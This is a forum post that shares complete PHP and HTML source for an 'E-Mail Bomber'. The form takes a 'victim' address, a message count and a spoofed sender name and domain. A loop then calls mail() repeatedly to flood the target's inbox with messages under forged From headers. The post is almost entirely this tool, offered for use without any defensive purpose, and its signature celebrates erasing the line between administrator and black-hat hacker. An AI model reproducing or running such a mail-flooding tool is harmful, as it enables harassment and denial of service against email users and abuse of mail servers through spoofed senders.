Post Reply 
 
Thread Rating:
  • 0 Votes - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
PHP Email Bomber
11-22-2009, 07:36 AM
Post: #1
PHP Email Bomber
This is PHP code for E-Mail Bomber. It has 2 parts "mail.php" and "mail2.php".
First part is visibility part, save it as "mail.php" :
Code:
<html>
<head><title>EMail Bomber</title>
<body bgcolor="black">
<style type="text/css">
body,td,th {
    color: #00CC00;
}
</style>
<div align=center>
<form action="mail2.php" method="post">
Victims Email:<input type="text" name="email" /></br>
Amount To Send:<input type="text" name="amount" /></br>
Subject:<input type="text" name="subject" /></br>
Who Its From:<input type="text" name="from" />@<input type="text" name="domain" /></br>
Message:<input type="text" name="message" /><input type="submit" />
</form>
</body>
</html>
Second is source code for sending, save it as "mail2.php" and it has to be in the same folder as "mail.php" :
Code:
<html>
<head><title>EMail Bomber</title>
<body bgcolor="black">
<style type="text/css">
body,td,th {
    color: #00CC00;
}
</style>
<div align=center><?php

$to = $_POST["email"];
$subject = $_POST["subject"]."Message: ";
$message = $_POST["message"]."Message: ";
$domain = $_POST["domain"];
$username = $_POST["from"];
$headers = "From: ";
$i=0;
$amount = $_POST["amount"];
do
  {
  mail($to,$subject.$i,$message.$i,$currMail);
  $i++;
  $currMail = $headers.$username.$i."@".$domain;
  echo "Sent $i Emails To $to<br />";
  }
while ($i<$amount);
?>
It uses method "POST" and do. . . .while loop for sending !

There's a fine line between genius and insanity. I have erased this line.
Oscar Levant
There's a fine line between an administrator and black hat hacker. I have erased this line.
Dr DEBCOL
Visit this user's website Find all posts by this user
Quote this message in a reply
Post Reply 


Forum Jump:


 Quick Theme: